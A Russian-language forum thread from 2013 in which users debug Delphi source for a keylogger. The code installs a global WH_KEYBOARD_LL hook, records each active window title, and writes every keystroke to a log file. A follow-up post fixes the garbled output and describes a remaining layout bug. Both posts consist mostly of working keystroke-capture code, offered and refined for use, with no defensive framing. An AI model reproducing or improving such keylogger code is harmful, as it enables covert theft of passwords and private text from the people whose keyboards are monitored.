|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
WH_KEYBOARD_LL проблемы с кодом
Добрый вечер. Есть код key логгера. Все работает, но после одновременного нажатия двух и более клавиш (например переключения раскладки) в файл пишется не нажатая клавиша а набор закарлючек.
В качестве хука использую WH_KEYBOARD_LL, так как WH_KEYBOARD хоть и работает нормально, но только внутри родного приложения и проводника. Вот пример лога: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 16-12-2013 20:11:00###ACTIVATE===+++@@@ п`l`о`м`о`г`и#`т!`е!` !`р!`а!`з!`о%`р$`$`б$`р$`а$`т$`ь)`с(`я(` (`с(` (`к(`о/`с+`я+`к+`о,`м,`.,` 4`т2`l2`р2`е2`т2`и2`й7` 7`д7`е7`н7`ь7` 7`м:`у9`ч9`а9`ю9`с9`ь9`1!`А` хотя сначала прога работает так: \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 16-12-2013 20:09:20###ACTIVATE===Program Manager+++@@@ xcvbxcvbxcvb Сам код: Код:
try Wnd:= GetForegroundWindow; GetWindowText(WND, wtext, Length(wtext)-1); if wtext<>PrevWindowName then WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@'); PrevWindowName:=wtext; if (Code=HC_ACTION) and (wParam=WM_KEYUP) then begin LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam); GetKeyboardState(KeyState); New(KeyName); ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0)); WriteLog(KeyName); if LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle(''); end; Result:= CallNextHookEx(MSGHook, Code, wParam, lParam); except end; Помогите разобраться с косяком. Третий день мучаюсь! Последний раз редактировалось Admin, 16.12.2013 в 20:18. |
#2
|
|||
|
|||
Если кому поможет, часть проблемы решил. Лишние символы убираются так:
Код:
try Wnd:= GetForegroundWindow; GetWindowText(WND, wtext, Length(wtext)-1); if wtext<>PrevWindowName then WriteLogLN(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+wtext+ '+++'+'@@@'); PrevWindowName:=wtext; <b> if (Code=HC_ACTION) and (wParam=WM_KEYUP) then begin LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam); GetKeyboardState(KeyState); New(KeyName); ToAsciiEx(LKBDLLHOOKSTRUCT.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0)); WriteLog(KeyName[0]); if LKBDLLHOOKSTRUCT.vkCode=VK_RETURN then WriteLogLNLittle(''); end;</b> Result:= CallNextHookEx(MSGHook, Code, wParam, lParam); except end; WriteLog(KeyName[0]); Но осталась проблема с раскладкой. Если хоть раз нажал backspace - печатает только латиницу, независимо от раскладки, т.е. вместо "а" печатает "f"... |